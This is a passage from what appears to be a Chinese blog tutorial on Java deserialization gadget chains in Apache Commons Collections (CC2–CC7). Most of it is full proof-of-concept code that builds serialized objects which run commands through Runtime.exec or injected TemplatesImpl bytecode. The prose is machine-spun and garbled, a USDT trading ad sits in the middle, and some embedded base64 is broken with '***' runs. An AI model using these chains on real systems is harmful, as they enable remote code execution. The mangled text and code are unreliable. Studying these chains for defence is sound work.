1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");

            //‘〖反射设〗置’ Field
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates, "_bytecodes", new byte[][]{code});
            setFieldValue(templates, "_name", "HelloTemplatesImpl");
            setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

            //Transformer数组
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(TrAXFilter.class),
                    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
            };

            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

            //LazyMap【实】例
            Map uselessMap = new HashMap();
            Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);

            //反射获取AnnotationInvocationHandler【实】例
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
            constructor.setAccessible(true);
            InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

            //动态署理类,(为了触发) AnnotationInvocationHandler,invoke
            Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);

            InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);


            //序列化
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(handler1);
            oos.flush();
            oos.close();

            //《「测试」》反序列化
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bais);
            ois.readObject();
            ois.close();

        } catch (Exception e) {
            e.printStackTrace();
        }

    }


    //‘〖反射设〗置’ Field
    public static void setFieldValue(Object object, String fieldName, Object value) {
        try {
            Field field = object.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(object, value);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

大要挪用栈:

->AnnotationInvocationHandler.readObject()
      ->mapProxy.entrySet().iterator()  //动态署理类
          ->AnnotationInvocationHandler.invoke()
            ->LazyMap.get()
                ->ChainedTransformer.transform()
                    ->ConstantTransformer.transform()
                        ->InstantiateTransformer.transform()
                            ->TrAXFilter.TrAXFilter()
                                ->TemplatesImpl.newTransformer()
                                    ->…………

四、CC2

行使条件对照苛刻:首先 CommonsCollections3 中[无法使用,由于其 TransformingComparator 无法序列化。其次只有 CommonsCollections4-4.0 可以使用,由于 CommonsCollections4 其他版本去掉了 InvokerTransformer <的> Serializable 继续,导致无法序列化。

这里需要引入两个新<的>类,首先是 PriorityQueue 部门 要[害代码如下:

,

USDT线上交易

U交所(www.payusdt.vip),全球頂尖<的>USDT〖場外擔保交易平〗臺。

,
public class PriorityQueue<E> extends AbstractQueue<E> implements java.io.Serializable {
    private transient Object[] queue;   //『要害』点,可以传入 TemplatesImpl
    private final Comparator<? super E> comparator;     //『要害』点可以‘〖反射设〗置’我们自己<的> Comparator

    //『要害』点,反序列化时字段执行<的> readObject
    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        //『要害』点,挪用 heapify() 排序
        heapify();
    }

    //跟进 heapify() ({「(『方』式)」})
    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

    //跟进 siftDown ({「(『方』式)」}),(若是) comparator 不为空,挪用 siftDownUsingComparator
    private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

    //跟进 siftDownUsingComparator ({「(『方』式)」}),可以看到这里挪<用了>我们自界说<的> Comparator
    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)    //『要害』点
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

}

可以看到其反序列化时挪用 readObject ({「(『方』式)」}),然后最终会挪用 我们自界说<的> Comparator <的> compare ({「(『方』式)」})。那么这个自界说<的> Comparator 我们要怎么实现呢?

借助 TransformingComparator 类,可以看到其 Comparator ({「(『方』式)」}) 中[会挪用 this.transformer.transform()。这是一个『要害』点,事实拿到 Transformer.transform() 就什么都好说。

public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
    private static final long serialVersionUID = 3456940356043606220L;
    private final Comparator<O> decorated;
    private final Transformer<? super I, ? extends O> transformer;

    public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
        this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
    }

    public int compare(I obj1, I obj2) {
        //『要害』点
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
}

最后我们实现<的>代码如下:

package Apache_Common_Collections.cc_1_7;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;


import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections2 {

    public static void main(String[] args) {

        try{
            //字节码
            byte[] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWx *** 1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWx *** 1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");

            //‘〖反射设〗置’ Field
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates, "_bytecodes", new byte[][]{code});
            setFieldValue(templates, "_name", "HelloTemplatesImpl");
            setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

            //为了执行 templates.newTransformer
            InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

            //TransformingComparator 【实】例
            TransformingComparator comparator = new TransformingComparator(invokerTransformer);

            //PriorityQueue 【实】例
            PriorityQueue priorityQueue = new PriorityQueue(2);
            //<先设置为正>常变量值,<后面可>以通过setFieldValue修改
            priorityQueue.add(1);
            priorityQueue.add(1);

            //‘〖反射设〗置’ Field
            Object[] objects = new Object[]{templates, templates};
            setFieldValue(priorityQueue, "queue", objects);
            setFieldValue(priorityQueue, "comparator", comparator);

            //序列化
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(priorityQueue);
            oos.flush();
            oos.close();

            //《「测试」》反序列化
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bais);
            ois.readObject();
            ois.close();

        } catch (Exception e) {
            e.printStackTrace();
        }

    }


    //‘〖反射设〗置’ Field
    public static void setFieldValue(Object object, String fieldName, Object value) {
        try {
            Field field = object.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(object, value);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

大要挪用栈:

->PriorityQueue.readObject()
      ->PriorityQueue.heapify()
          ->PriorityQueue.siftDown()
            ->PriorityQueue.siftDownUsingComparator()
                ->TransformingComparator.compare()
                    ->InvokerTransformer.transform()
                        ->TemplatesImpl.newTransformer()
                        ->…………

五、CC4

《「测试」》环境:4.0,jdk7u21及以前

上面 CC2 说了由于 CommonsCollections4 除4.0<的>其他版本去掉了 InvokerTransformer <的> Serializable 继续,导致无法序列化。以是我们是否可以不使用 InvokerTransformer 呢?于是便有了 CC4,CC4 只是将 CC2 中[<的> InvokerTransformer 替换为了 InstantiateTransformer。

package Apache_Common_Collections.cc_1_7;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

//「与」cc2类似
//InvokeTransformer 变为 InstantiateTransformer
public class CommonsCollections4 {

    public static void main(String[] args) {

        try{
            //字节码
            byte[] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWx *** 1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWx *** 1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");

            //‘〖反射设〗置’ Field
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates, "_bytecodes", new byte[][]{code});
            setFieldValue(templates, "_name", "HelloTemplatesImpl");
            setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

            //Transformer数组
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(TrAXFilter.class),
                    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
            };


            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

            //TransformingComparator 【实】例
            TransformingComparator comparator = new TransformingComparator(chainedTransformer);

            //PriorityQueue 【实】例
            PriorityQueue priorityQueue = new PriorityQueue(2);
            //<先设置为正>常变量值,<后面可>以通过setFieldValue修改
            priorityQueue.add(1);
            priorityQueue.add(1);

            //‘〖反射设〗置’ Field
            Object[] objects = new Object[]{templates, templates};
            setFieldValue(priorityQueue, "queue", objects);
            setFieldValue(priorityQueue, "comparator", comparator);

            //序列化
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(priorityQueue);
            oos.flush();
            oos.close();

            //《「测试」》反序列化
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bais);
            ois.readObject();
            ois.close();

        } catch (Exception e) {
            e.printStackTrace();
        }

    }


    //‘〖反射设〗置’ Field
    public static void setFieldValue(Object object, String fieldName, Object value) {
        try {
            Field field = object.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(object, value);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

大要挪用栈:

->PriorityQueue.readObject()
      ->PriorityQueue.heapify()
          ->PriorityQueue.siftDown()
            ->PriorityQueue.siftDownUsingComparator()
                 ->TransformingComparator.compare()
                    ->ChainedTransformer.transform()
                        ->ConstantTransformer.transform()
                                    ->InstantiateTransformer.transform()
                             ->TrAXFilter.TrAXFilter()
                                 ->TemplatesImpl.newTransformer()
                                        ->…………

六、CC5

《「测试」》环境:3.1-3.2.1,jdk1.8

这里我们又回到了去触发 LazyMap.get(),只不外我们改变了 LazyMap.get() <的>触发({「(『方』式)」}),不再和 CC1 和 CC3 (一样)借助 AnnotationInvocationHandler <的>反序列化触发。

这里引入新类 TiedMapEntry:

public class TiedMapEntry implements Entry, KeyValue, Serializable {

    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    //<{组织函}数>,显然我们可以控制 this.map 为 LazyMap
    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    //toString函数,注重这里挪<用了> getValue()
    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }

    //跟进 getValue(), 这是『要害』点 this.map.get() 触发 LazyMap.get()
    public Object getValue() {
        return this.map.get(this.key);
    }

}

综上,通过 TiedMapEntry.toString() 『可触发』 LazyMap.get()

那么有没有一个类可以在反序列化时触发 TiedMapEntry.toString() 呢? BadAttributeValueExpException!

public class BadAttributeValueExpException extends Exception   {
    private Object val;     //这里可以控制 val 为 TiedMapEntry

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();    //这里是『要害』点,挪用toString()
        } else {
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
}

最终实现代码:

package Apache_Common_Collections.cc_1_7;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections5 {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

        //Transformer数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //ChainedTransformer【实】例
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        //LazyMap【实】例
        Map uselessMap = new HashMap();
        Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);

        //TiedMapEntry 【实】例
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");

        //BadAttributeValueExpException 【实】例
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

        //‘〖反射设〗置’ val
        Field val = BadAttributeValueExpException.class.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException, tiedMapEntry);

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(badAttributeValueExpException);
        oos.flush();
        oos.close();

        //《「测试」》反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();

    }

}

大要挪用栈:

->BadAttributeValueExpException.readObject()
      ->TiedMapEntry.toString()
          ->TiedMapEntry.getValue()
            ->LazyMap.get()
                ->ChainedTransformer.transform()
                    ->ConstantTransformer.transform()
                            ->InvokerTransformer.transform()
                                ->…………

七、CC6

《「测试」》环境:3.1-3.2.1,jdk1.7,1.8

CC5 <用了> BadAttributeValueExpException 反序列化去触发 LazyMap.get(),除了 BadAttributeValueExpException 、AnnotationInvocationHandler 另有其他({「(『方』式)」})吗? HashMap!

我们再研究研究 TiedMapEntry 这个类

public class TiedMapEntry implements Entry, KeyValue, Serializable {

    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    //<{组织函}数>,显然我们可以控制 this.map 为 LazyMap
    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    //hashCode函数,注重这里挪<用了> getValue()
    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

    //跟进 getValue(), 这是『要害』点 this.map.get() 触发 LazyMap.get()
    public Object getValue() {
        return this.map.get(this.key);
    }

}

若何反序列化时触发 TiedMapEntry.hashCode() ? 这就引入了 HashMap!

//这里是 jdk 1.7 <的>,「差异版本」 HashMap readObject 可能略有差异
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {

    //先看看其 readObject
    private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
        …………
         // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            K key = (K) s.readObject();
            V value = (V) s.readObject();
            putForCreate(key, value);
        }
    }

     //跟进 putForCreate ({「(『方』式)」})
     private void putForCreate(K key, V value) {
        int hash = null == key ? 0 : hash(key); //『要害』点,我们可以控制 key 为TiedMapEntry,然后盘算hash(TiedMapEntry)
        int i = indexFor(hash, table.length);

         …………

        createEntry(hash, key, value, i);
    }

    //跟进 hash ({「(『方』式)」})
    final int hash(Object k) {
        int h = hashSeed;
        if (0 != h && k instanceof String) {
            return sun.misc.Hashing.stringHash32((String) k);
        }

        h ^= k.hashCode();  //『要害』点,触发 TiedMapEntry.hashCode()
        …………
    }

最终实现代码:

package Apache_Common_Collections.cc_1_7;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections6 {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

        Transformer[] fakeTransformer = new Transformer[]{};

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //ChainedTransformer【实】例
        //先设置假<的> Transformer 数组,防止天生时执行下令
        Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);

        //LazyMap【实】例
        Map uselessMap = new HashMap();
        Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);

        //TiedMapEntry 【实】例
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");

        HashMap hashMap = new HashMap();
        hashMap.put(tiedMapEntry, "test");


        //通过‘〖反射设〗置’真<的> ransformer 数组
        Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);
        //清空由于 hashMap.put 对 LazyMap 造成<的>影响
        lazyMap.clear();

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashMap);
        oos.flush();
        oos.close();

        //《「测试」》反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();

    }

}

大要挪用栈:

//这里是 jdk 1.7 <的>,「差异版本」 HashMap readObject 可能略有差异
  ->HashMap.readObject()
      ->HashMap.putForCreate()
          ->HashMap.hash()
            ->TiedMapEntry.hashCode()
                    ->TiedMapEntry.getValue()
                    ->LazyMap.get()
                      ->ChainedTransformer.transform()
                          ->ConstantTransformer.transform()
                              ->InvokerTransformer.transform()
                                  ->…………

八、CC7

《「测试」》环境:3.1-3.2.1,jdk1.7,1.8

这里仍然是想法子触发LazyMap.get()。Hashtable <的> readObject 中[. 遇到 hash 碰撞时, 通过挪用一个工具<的> equals ({「(『方』式)」})对比两个工具判断是真<的> hash 碰撞. 这里<的> equals ({「(『方』式)」})是 AbstractMap <的> equals ({「(『方』式)」})。

先放代码吧:

package Apache_Common_Collections.cc_1_7;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CommonsCollections7 {

    public static void main(String[] args) throws IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException {

        Transformer[] fakeTransformer = new Transformer[]{};

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //ChainedTransformer【实】例
        //先设置假<的> Transformer 数组,防止天生时执行下令
        Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);

        //LazyMap【实】例
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, "test");
        hashtable.put(lazyMap2, "test");


        //通过‘〖反射设〗置’真<的> ransformer 数组
        Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);

